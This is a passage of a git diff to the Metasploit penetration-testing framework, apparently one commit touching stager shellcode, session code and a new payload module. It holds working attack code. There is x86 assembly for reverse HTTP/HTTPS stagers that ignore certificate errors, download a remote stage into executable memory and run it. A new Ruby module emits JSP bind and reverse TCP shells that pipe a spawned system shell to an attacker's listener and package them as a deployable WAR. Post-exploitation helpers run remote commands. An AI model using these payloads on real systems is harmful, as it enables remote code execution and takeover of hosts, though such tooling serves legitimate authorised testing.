ebx ; DWORD_PTR dwContext (NULL) + push ebx ; dwFlags push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username + push ebx ; password (NULL) + push ebx ; username (NULL) push dword 4444 ; PORT - push ebx ; HOSTNAME + jmp short dbl_get_server_host ; push pointer to HOSTNAME +got_server_host: push eax ; HINTERNET hInternet push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) call ebp - jmp get_server_uri - httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00200000 | 0x00000200 | 0x00400000) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00000200 | ; INTERNET_FLAG_NO_UI - ;0x00400000 ; INTERNET_FLAG_KEEP_CONNECTION - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method + push ebx ; dwContext (NULL) + push HTTP_OPEN_FLAGS ; dwFlags + push ebx ; accept types + push ebx ; referrer + push ebx ; version + jmp get_server_uri ; push pointer to url +got_server_uri: + push ebx ; method push eax ; hConnection push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) call ebp - mov esi, eax ; hHttpRequest + xchg esi, eax ; save hHttpRequest in esi set_retry: push byte 0x10 - pop ebx + pop edi + +send_request: + +%ifdef ENABLE_SSL +; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); +set_security_options: + push 0x00003380 + ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID + ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID + ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE + ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA + ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION + mov eax, esp + push byte 4 ; sizeof(dwFlags) + push eax ; &dwFlags + push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push esi ; hHttpRequest + push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) + call ebp + +%endif httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers + push ebx ; lpOptional length (0) + push ebx ; lpOptional (NULL) + push ebx ; dwHeadersLength (0) + push ebx ; lpszHeaders (NULL) push esi ; hHttpRequest push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call ebp @@ -82,28 +110,30 @@ httpsendrequest: jnz short allocate_memory try_it_again: - dec ebx - jz failure - jmp short httpsendrequest + dec edi + jnz send_request -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 +; if we didn't allocate before running out of retries, fall through to +; failure failure: push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp +dbl_get_server_host: + jmp get_server_host + +get_server_uri: + call got_server_uri + +server_uri: + db "/12345", 0x00 + allocate_memory: push byte 0x40 ; PAGE_EXECUTE_READWRITE push 0x1000 ; MEM_COMMIT push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) + push ebx ; NULL as we dont care where the allocation is push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); @@ -135,7 +165,7 @@ execute_stage: ret ; dive into the stored stage address get_server_host: - call internetconnect + call got_server_host server_host: diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm deleted file mode 100644 index 28a0a04783..0000000000 --- a/external/source/shellcode/windows/x86/src/block/block_reverse_https.asm +++ /dev/null @@ -1,159 +0,0 @@ -;-----------------------------------------------------------------------------; -; Author: HD Moore -; Compatible: Confirmed Windows 7, Windows 2008 Server, Windows XP SP1, Windows SP3, Windows 2000 -; Known Bugs: Incompatible with Windows NT 4.0, buggy on Windows XP Embedded (SP1) -; Version: 1.0 -;-----------------------------------------------------------------------------; -[BITS 32] - -; Input: EBP must be the address of 'api_call'. -; Output: EDI will be the socket for the connection to the server -; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) -load_wininet: - push 0x0074656e ; Push the bytes 'wininet',0 onto the stack. - push 0x696e6977 ; ... - push esp ; Push a pointer to the "wininet" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "wininet" ) - -internetopen: - xor edi,edi - push edi ; DWORD dwFlags - push edi ; LPCTSTR lpszProxyBypass - push edi ; LPCTSTR lpszProxyName - push edi ; DWORD dwAccessType (PRECONFIG = 0) - push byte 0 ; NULL pointer - push esp ; LPCTSTR lpszAgent ("\x00") - push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) - call ebp - - jmp short dbl_get_server_host - -internetconnect: - pop ebx ; Save the hostname pointer - xor ecx, ecx - push ecx ; DWORD_PTR dwContext (NULL) - push ecx ; dwFlags - push byte 3 ; DWORD dwService (INTERNET_SERVICE_HTTP) - push ecx ; password - push ecx ; username - push dword 4444 ; PORT - push ebx ; HOSTNAME - push eax ; HINTERNET hInternet - push 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" ) - call ebp - - jmp get_server_uri - -httpopenrequest: - pop ecx - xor edx, edx ; NULL - push edx ; dwContext (NULL) - push (0x80000000 | 0x04000000 | 0x00800000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags - ;0x80000000 | ; INTERNET_FLAG_RELOAD - ;0x04000000 | ; INTERNET_NO_CACHE_WRITE - ;0x00800000 | ; INTERNET_FLAG_SECURE - ;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT - ;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID - ;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00000200 ; INTERNET_FLAG_NO_UI - push edx ; accept types - push edx ; referrer - push edx ; version - push ecx ; url - push edx ; method - push eax ; hConnection - push 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" ) - call ebp - mov esi, eax ; hHttpRequest - -set_retry: - push byte 0x10 - pop ebx - -; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) ); -set_security_options: - push 0x00003380 - ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID - ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID - ;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE - ;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA - ;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION - mov eax, esp - push byte 4 ; sizeof(dwFlags) - push eax ; &dwFlags - push byte 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) - push esi ; hRequest - push 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" ) - call ebp - -httpsendrequest: - xor edi, edi - push edi ; optional length - push edi ; optional - push edi ; dwHeadersLength - push edi ; headers - push esi ; hHttpRequest - push 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) - call ebp - test eax,eax - jnz short allocate_memory - -try_it_again: - dec ebx - jz failure - jmp short set_security_options - -dbl_get_server_host: - jmp get_server_host - -get_server_uri: - call httpopenrequest - -server_uri: - db "/12345", 0x00 - -failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size - call ebp - -allocate_memory: - push byte 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push 0x00400000 ; Stage allocation (8Mb ought to do us) - push edi ; NULL as we dont care where the allocation is (zero'd from the prev function) - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - -download_prep: - xchg eax, ebx ; place the allocated base address in ebx - push ebx ; store a copy of the stage base address on the stack - push ebx ; temporary storage for bytes read count - mov edi, esp ; &bytesRead - -download_more: - push edi ; &bytesRead - push 8192 ; read length - push ebx ; buffer - push esi ; hRequest - push 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" ) - call ebp - - test eax,eax ; download failed? (optional?) - jz failure - - mov eax, [edi] - add ebx, eax ; buffer += bytes_received - - test eax,eax ; optional? - jnz download_more ; continue until it returns 0 - pop eax ; clear the temporary storage - -execute_stage: - ret ; dive into the stored stage address - -get_server_host: - call internetconnect - -server_host: - diff --git a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm index 061290001a..e73a0231ae 100644 --- a/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm +++ b/external/source/shellcode/windows/x86/src/stager/stager_reverse_https.asm @@ -1,19 +1,20 @@ -;-----------------------------------------------------------------------------; -; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 -; Version: 1.0 (24 July 2009) -; Size: 274 bytes -; Build: >build.py stager_reverse_tcp_nx -;-----------------------------------------------------------------------------; - -[BITS 32] -[ORG 0] - - cld ; Clear the direction flag. - call start ; Call start, this pushes the address of 'api_call' onto the stack. -%include "./src/block/block_api.asm" -start: ; - pop ebp ; pop off the address of 'api_call' for calling later. -%include "./src/block/block_reverse_https.asm" +;-----------------------------------------------------------------------------; +; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) +; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4 +; Version: 1.0 (24 July 2009) +; Size: 274 bytes +; Build: >build.py stager_reverse_tcp_nx +;-----------------------------------------------------------------------------; + +[BITS 32] +[ORG 0] + + cld ; Clear the direction flag. + call start ; Call start, this pushes the address of 'api_call' onto the stack. +%include "./src/block/block_api.asm" +start: ; + pop ebp ; pop off the address of 'api_call' for calling later. +%define ENABLE_SSL 1 +%include "./src/block/block_reverse_http.asm" ; By here we will have performed the reverse_tcp connection and EDI will be our socket. diff --git a/lib/msf/base/sessions/meterpreter.rb b/lib/msf/base/sessions/meterpreter.rb index 7b6c6d713e..e40d56439d 100644 --- a/lib/msf/base/sessions/meterpreter.rb +++ b/lib/msf/base/sessions/meterpreter.rb @@ -303,52 +303,20 @@ class Meterpreter < Rex::Post::Meterpreter::Client safe_info.gsub!(/[\x00-\x08\x0b\x0c\x0e-\x19\x7f-\xff]+/n,"_") self.info = safe_info - # Enumerate network interfaces to detect IP - ifaces = self.net.config.get_interfaces().flatten rescue [] - routes = self.net.config.get_routes().flatten rescue [] - shost = self.session_host + hobj = nil - # Try to match our visible IP to a real interface - # TODO: Deal with IPv6 addresses - found = !!(ifaces.find {|i| i.addrs.find {|a| a == shost } }) - nhost = nil - hobj = nil - - if Rex::Socket.is_ipv4?(shost) and not found - - # Try to find an interface with a default route - default_routes = routes.select{ |r| r.subnet == "0.0.0.0" || r.subnet == "::" } - default_routes.each do |r| - ifaces.each do |i| - bits = Rex::Socket.net2bitmask( i.netmask ) rescue 32 - rang = Rex::Socket::RangeWalker.new( "#{i.ip}/#{bits}" ) rescue nil - if rang and rang.include?( r.gateway ) - nhost = i.ip - break - end - end - break if nhost - end - - # Find the first non-loopback address - if not nhost - iface = ifaces.select{|i| i.ip != "127.0.0.1" and i.ip != "::1" } - if iface.length > 0 - nhost = iface.first.ip - end - end - end + nhost = find_internet_connected_address + original_session_host = self.session_host # If we found a better IP address for this session, change it up # only handle cases where the DB is not connected here - if not (framework.db and framework.db.active) + if !(framework.db && framework.db.active) self.session_host = nhost end - # The rest of this requires a database, so bail if it's not # there - return if not (framework.db and framework.db.active) + return if !(framework.db && framework.db.active) ::ActiveRecord::Base.connection_pool.with_connection { wspace = framework.db.find_workspace(workspace) @@ -384,18 +352,18 @@ class Meterpreter < Rex::Post::Meterpreter::Client if nhost framework.db.report_note({ :type => "host.nat.server", - :host => shost, + :host => original_session_host, :workspace => wspace, :data => { :info => "This device is acting as a NAT gateway for #{nhost}", :client => nhost }, :update => :unique_data }) - framework.db.report_host(:host => shost, :purpose => 'firewall' ) + framework.db.report_host(:host => original_session_host, :purpose => 'firewall' ) framework.db.report_note({ :type => "host.nat.client", :host => nhost, :workspace => wspace, - :data => { :info => "This device is traversing NAT gateway #{shost}", :server => shost }, + :data => { :info => "This device is traversing NAT gateway #{original_session_host}", :server => original_session_host }, :update => :unique_data }) framework.db.report_host(:host => nhost, :purpose => 'client' ) @@ -470,6 +438,60 @@ protected attr_accessor :rstream # :nodoc: + # Rummage through this host's routes and interfaces looking for an + # address that it uses to talk to the internet. + # + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_interfaces + # @see Rex::Post::Meterpreter::Extensions::Stdapi::Net::Config#get_routes + # @return [String] The address from which this host reaches the + # internet, as ASCII. e.g.: "192.168.100.156" + def find_internet_connected_address + + ifaces = self.net.config.get_interfaces().flatten rescue [] + routes = self.net.config.get_routes().flatten rescue [] + + # Try to match our visible IP to a real interface + found = !!(ifaces.find { |i| i.addrs.find { |a| a == session_host } }) + nhost = nil + + # If the host has no address that matches what we see, then one of + # us is behind NAT so we have to look harder. + if !found + # Grab all routes to the internet + default_routes = routes.select { |r| r.subnet == "0.0.0.0" || r.subnet == "::" } + + default_routes.each do |route| + # Now try to find an interface whose network includes this + # Route's gateway, which means it's the one the host uses to get + # to the interweb. + ifaces.each do |i| + # Try all the addresses this interface has configured + addr_and_mask = i.addrs.zip(i.netmasks).find do |addr, netmask| + bits = Rex::Socket.net2bitmask( netmask ) + range = Rex::Socket::RangeWalker.new("#{addr}/#{bits}") rescue nil + + !!(range && range.valid? && range.include?(route.gateway)) + end + if addr_and_mask + nhost = addr_and_mask[0] + break + end + end + break if nhost + end + + if !nhost + # Find the first non-loopback address + non_loopback = ifaces.find { |i| i.ip != "127.0.0.1" && i.ip != "::1" } + if non_loopback + nhost = non_loopback.ip + end + end + end + + nhost + end + end end diff --git a/lib/msf/base/simple/post.rb b/lib/msf/base/simple/post.rb index c8922697a5..9cda2a1338 100644 --- a/lib/msf/base/simple/post.rb +++ b/lib/msf/base/simple/post.rb @@ -89,7 +89,7 @@ protected # # Job run proc, sets up the module and kicks it off. # - # XXX: Mostly Copy/pasted from simple/auxiliarly.rb + # XXX: Mostly Copy/pasted from simple/auxiliary.rb # def self.job_run_proc(ctx) mod = ctx[0] @@ -99,9 +99,15 @@ protected # Grab the session object since we need to fire an event for not # only the normal module_run event that all module types have to # report, but a specific event for sessions as well. - s = mod.framework.sessions[mod.datastore["SESSION"]] - mod.framework.events.on_session_module_run(s, mod) - mod.run + s = mod.framework.sessions.get(mod.datastore["SESSION"]) + if s + mod.framework.events.on_session_module_run(s, mod) + mod.run + else + mod.print_error("Session not found") + mod.cleanup + return + end rescue ::Timeout::Error => e mod.error = e mod.print_error("Post triggered a timeout exception") @@ -135,7 +141,7 @@ protected # # Clean up the module after the job completes. # - # Copy/pasted from simple/auxiliarly.rb + # Copy/pasted from simple/auxiliary.rb # def self.job_cleanup_proc(ctx) mod = ctx[0] diff --git a/lib/msf/core/auxiliary/scanner.rb b/lib/msf/core/auxiliary/scanner.rb index e08efc4ef1..fade61b0ea 100644 --- a/lib/msf/core/auxiliary/scanner.rb +++ b/lib/msf/core/auxiliary/scanner.rb @@ -32,6 +32,16 @@ def initialize(info = {}) end +def check + nmod = replicant + begin + nmod.check_host(datastore['RHOST']) + rescue NoMethodError + Exploit::CheckCode::Unsupported + end +end + + # # The command handler when launched from the console # @@ -79,7 +89,7 @@ def run @tl = [] - while (true) + loop do # Spawn threads for each host while (@tl.length < threads_max) ip = ar.next_ip diff --git a/lib/msf/core/encoded_payload.rb b/lib/msf/core/encoded_payload.rb index 47d94f0dea..5d9d420156 100644 --- a/lib/msf/core/encoded_payload.rb +++ b/lib/msf/core/encoded_payload.rb @@ -198,7 +198,7 @@ class EncodedPayload # Check to see if we have enough room for the minimum requirements if ((reqs['Space']) and (reqs['Space'] < eout.length + min)) - wlog("#{err_start}: Encoded payload version is too large with encoder #{encoder.refname}", + wlog("#{err_start}: Encoded payload version is too large (#{eout.length} bytes) with encoder #{encoder.refname}", 'core', LEV_1) next_encoder = true break diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index fe7a9223ac..73fb4b48b6 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -104,9 +104,9 @@ class Exploit < Msf::Module Vulnerable = [ 'vulnerable', "The target is vulnerable." ] # - # The exploit does not support the check method. + # The module does not support the check method. # - Unsupported = [ 'unsupported', "This exploit does not support check." ] + Unsupported = [ 'unsupported', "This module does not support check." ] end # @@ -746,7 +746,7 @@ class Exploit < Msf::Module c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch framework.encoders.each_module_ranked( - 'Arch' => c_arch) { |name, mod| + 'Arch' => c_arch, 'Platform' => c_platform) { |name, mod| encoders << [ name, mod ] } diff --git a/lib/msf/core/exploit/remote/browser_exploit_server.rb b/lib/msf/core/exploit/remote/browser_exploit_server.rb index 87f4f82ebd..ea0341fced 100644 --- a/lib/msf/core/exploit/remote/browser_exploit_server.rb +++ b/lib/msf/core/exploit/remote/browser_exploit_server.rb @@ -175,6 +175,8 @@ module Msf # Special keys to ignore because the script registers this as [:activex] = true or false next if k == :clsid or k == :method + vprint_debug("Comparing requirement: #{k}=#{v} vs k=#{profile[k.to_sym]}") + if v.is_a? Regexp bad_reqs << k if profile[k.to_sym] !~ v elsif v.is_a? Proc diff --git a/lib/msf/core/exploit/tcp.rb b/lib/msf/core/exploit/tcp.rb index d58e57df2f..43ca47f345 100644 --- a/lib/msf/core/exploit/tcp.rb +++ b/lib/msf/core/exploit/tcp.rb @@ -380,7 +380,7 @@ module Exploit::Remote::TcpServer 'LocalPort' => srvport, 'SSL' => ssl, 'SSLCert' => ssl_cert, - 'SSLCompression' => opts['SSLCompression'] || ssl_compression, + 'SSLCompression' => ssl_compression, 'Comm' => comm, 'Context' => { diff --git a/lib/msf/core/module/reference.rb b/lib/msf/core/module/reference.rb index 335d9ddd3f..c12c0a239f 100644 --- a/lib/msf/core/module/reference.rb +++ b/lib/msf/core/module/reference.rb @@ -101,7 +101,7 @@ class Msf::Module::SiteReference < Msf::Module::Reference elsif (in_ctx_id == 'BID') self.site = 'http://www.securityfocus.com/bid/' + in_ctx_val.to_s elsif (in_ctx_id == 'MSB') - self.site = 'http://www.microsoft.com/technet/security/bulletin/' + in_ctx_val.to_s + '.mspx' + self.site = 'http://technet.microsoft.com/en-us/security/bulletin/' + in_ctx_val.to_s elsif (in_ctx_id == 'EDB') self.site = 'http://www.exploit-db.com/exploits/' + in_ctx_val.to_s elsif (in_ctx_id == 'WVE') diff --git a/lib/msf/core/payload.rb b/lib/msf/core/payload.rb index 37663df261..a712034020 100644 --- a/lib/msf/core/payload.rb +++ b/lib/msf/core/payload.rb @@ -414,7 +414,7 @@ class Payload < Msf::Module encoders = [] framework.encoders.each_module_ranked( - 'Arch' => self.arch) { |name, mod| + 'Arch' => self.arch, 'Platform' => self.platform) { |name, mod| encoders << [ name, mod ] } diff --git a/lib/msf/core/payload/jsp.rb b/lib/msf/core/payload/jsp.rb new file mode 100644 index 0000000000..2a81902839 --- /dev/null +++ b/lib/msf/core/payload/jsp.rb @@ -0,0 +1,154 @@ +# -*- coding: binary -*- +require 'msf/core' +require 'rex' + +module Msf::Payload::JSP + # Outputs jsp that spawns a bind TCP shell + # @return [String] jsp code that executes bind TCP payload + def jsp_bind_tcp + # Modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> + +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + ServerSocket server_socket = new ServerSocket( #{datastore['LPORT'].to_s} ); + Socket client_socket = server_socket.accept(); + server_socket.close(); + Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), client_socket.getOutputStream() ) ).start(); + ( new StreamConnector( client_socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} +%> + EOS + + return jsp + end + + # Outputs jsp code that spawns a reverse TCP shell + # @return [String] jsp code that executes reverse TCP payload + def jsp_reverse_tcp + # JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html + jsp = <<-EOS +<%@page import="java.lang.*"%> +<%@page import="java.util.*"%> +<%@page import="java.io.*"%> +<%@page import="java.net.*"%> + +<% + class StreamConnector extends Thread + { + InputStream is; + OutputStream os; + + StreamConnector( InputStream is, OutputStream os ) + { + this.is = is; + this.os = os; + } + + public void run() + { + BufferedReader in = null; + BufferedWriter out = null; + try + { + in = new BufferedReader( new InputStreamReader( this.is ) ); + out = new BufferedWriter( new OutputStreamWriter( this.os ) ); + char buffer[] = new char[8192]; + int length; + while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 ) + { + out.write( buffer, 0, length ); + out.flush(); + } + } catch( Exception e ){} + try + { + if( in != null ) + in.close(); + if( out != null ) + out.close(); + } catch( Exception e ){} + } + } + + try + { + Socket socket = new Socket( "#{datastore['LHOST']}", #{datastore['LPORT'].to_s} ); + Process process = Runtime.getRuntime().exec( "#{datastore['SHELL']}" ); + ( new StreamConnector( process.getInputStream(), socket.getOutputStream() ) ).start(); + ( new StreamConnector( socket.getInputStream(), process.getOutputStream() ) ).start(); + } catch( Exception e ) {} +%> + EOS + return jsp + end + + # Wraps the jsp payload into a war + # @return [Rex::Zip::Jar] a war to execute the jsp payload + def generate_war + jsp_name = "#{Rex::Text.rand_text_alpha_lower(rand(8)+8)}.jsp" + + zip = Rex::Zip::Jar.new + + web_xml = <<-EOF + + + + + #{jsp_name} + + + EOF + + zip.add_file("WEB-INF/", '') + zip.add_file("WEB-INF/web.xml", web_xml) + zip.add_file(jsp_name, generate) + + zip + end +end diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index 19d36e081d..356d12ce59 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -85,21 +85,24 @@ module Msf::Payload::Windows::PrependMigrate ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name loop loop_modname ; Loop untill we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later ; Proceed to iterate the export address table mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -118,6 +121,7 @@ module Msf::Payload::Windows::PrependMigrate add edi, [ebp-8] ; Add the current module hash to the function hash cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT mov ebx, [eax+36] ; Get the ordinal table rva @@ -138,6 +142,7 @@ module Msf::Payload::Windows::PrependMigrate push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; diff --git a/lib/msf/core/post/common.rb b/lib/msf/core/post/common.rb index e6cce966f8..cab869d366 100644 --- a/lib/msf/core/post/common.rb +++ b/lib/msf/core/post/common.rb @@ -2,6 +2,28 @@ module Msf::Post::Common + def rhost + case session.type + when 'meterpreter' + session.sock.peerhost + when 'shell' + session.session_host + end + end + + def rport + case session.type + when 'meterpreter' + session.sock.peerport + when 'shell' + session.session_port + end + end + + def peer + "#{rhost}:#{rport}" + end + # # Checks if the remote system has a process with ID +pid+ # diff --git a/lib/msf/core/post/file.rb b/lib/msf/core/post/file.rb index 7013b95832..1d148f7028 100644 --- a/lib/msf/core/post/file.rb +++ b/lib/msf/core/post/file.rb @@ -41,13 +41,14 @@ module Msf::Post::File return stat.directory? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\*\" ( echo true )") else f = session.shell_command_token("test -d '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -72,13 +73,17 @@ module Msf::Post::File return stat.file? else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") + if f =~ /true/ + f = cmd_exec("cmd.exe /C IF exist \"#{path}\\\\\" ( echo false ) ELSE ( echo true )") + end else f = session.shell_command_token("test -f '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end @@ -93,13 +98,14 @@ module Msf::Post::File return !!(stat) else if session.platform =~ /win/ - # XXX + f = cmd_exec("cmd.exe /C IF exist \"#{path}\" ( echo true )") else f = session.shell_command_token("test -e '#{path}' && echo true") - return false if f.nil? or f.empty? - return false unless f =~ /true/ - return true end + + return false if f.nil? or f.empty? + return false unless f =~ /true/ + return true end end diff --git a/lib/msf/core/post/windows/ldap.rb b/lib/msf/core/post/windows/ldap.rb index 121465ca58..8bc37e30e9 100644 --- a/lib/msf/core/post/windows/ldap.rb +++ b/lib/msf/core/post/windows/ldap.rb @@ -96,6 +96,8 @@ module LDAP # @param [Integer] Maximum results # @param [Array] String array containing attributes to retrieve # @return [Hash] Entries found + # @raise [RuntimeError] Raised when the default naming context isn't + # specified as distinguished name. def query(filter, max_results, fields) default_naming_context = datastore['DOMAIN'] default_naming_context ||= get_default_naming_context diff --git a/lib/msf/core/post_mixin.rb b/lib/msf/core/post_mixin.rb index 691b5598e6..881a91600a 100644 --- a/lib/msf/core/post_mixin.rb +++ b/lib/msf/core/post_mixin.rb @@ -74,7 +74,7 @@ module Msf::PostMixin return @session if @session and not session_changed? if datastore["SESSION"] - @session = framework.sessions[datastore["SESSION"].to_i] + @session = framework.sessions.get(datastore["SESSION"].to_i) else @session = nil end diff --git a/lib/msf/core/session_manager.rb b/lib/msf/core/session_manager.rb index 84bac06aad..dbe2e1d0a8 100644 --- a/lib/msf/core/session_manager.rb +++ b/lib/msf/core/session_manager.rb @@ -279,7 +279,17 @@ class SessionManager < Hash # Returns the session associated with the supplied sid, if any. # def get(sid) - return self[sid.to_i] + session = nil + sid = sid.to_i + + if sid > 0 + session = self[sid] + elsif sid == -1 + sid = self.keys.sort[-1] + session = self[sid] + end + + session end # diff --git a/lib/msf/ui/console/module_command_dispatcher.rb b/lib/msf/ui/console/module_command_dispatcher.rb index f15e359393..d384abfb9c 100644 --- a/lib/msf/ui/console/module_command_dispatcher.rb +++ b/lib/msf/ui/console/module_command_dispatcher.rb @@ -36,35 +36,157 @@ module ModuleCommandDispatcher self.driver.active_module = m end + def check_progress + return 0 unless @range_done and @range_count + pct = (@range_done / @range_count.to_f) * 100 + end + + def check_show_progress + pct = check_progress + if(pct >= (@range_percent + @show_percent)) + @range_percent = @range_percent + @show_percent + tdlen = @range_count.to_s.length + print_status("Checked #{"%.#{tdlen}d" % @range_done} of #{@range_count} hosts (#{"%.3d" % pct.to_i}% complete)") + end + end + + def check_multiple(hosts) + # This part of the code is mostly from scanner.rb + @show_progress = framework.datastore['ShowProgress'] || mod.datastore['ShowProgress'] || false + @show_percent = ( framework.datastore['ShowProgressPercent'] || mod.datastore['ShowProgressPercent'] ).to_i + + @range_count = hosts.length || 0 + @range_done = 0 + @range_percent = 0 + + # Set the default thread to 1. The same behavior as before. + threads_max = (framework.datastore['THREADS'] || mod.datastore['THREADS'] || 1).to_i + @tl = [] + + + if Rex::Compat.is_windows + if threads_max > 16 + print_warning("Thread count has been adjusted to 16") + threads_max = 16 + end + end + + if Rex::Compat.is_cygwin + if threads_max > 200 + print_warning("Thread count has been adjusted to 200") + threads_max = 200 + end + end + + loop do + while (@tl.length < threads_max) + ip = hosts.next_ip + break unless ip + + @tl << framework.threads.spawn("CheckHost-#{ip}", false, ip.dup) { |tip| + # Make sure this is thread-safe when assigning an IP to the RHOST + # datastore option + instance = 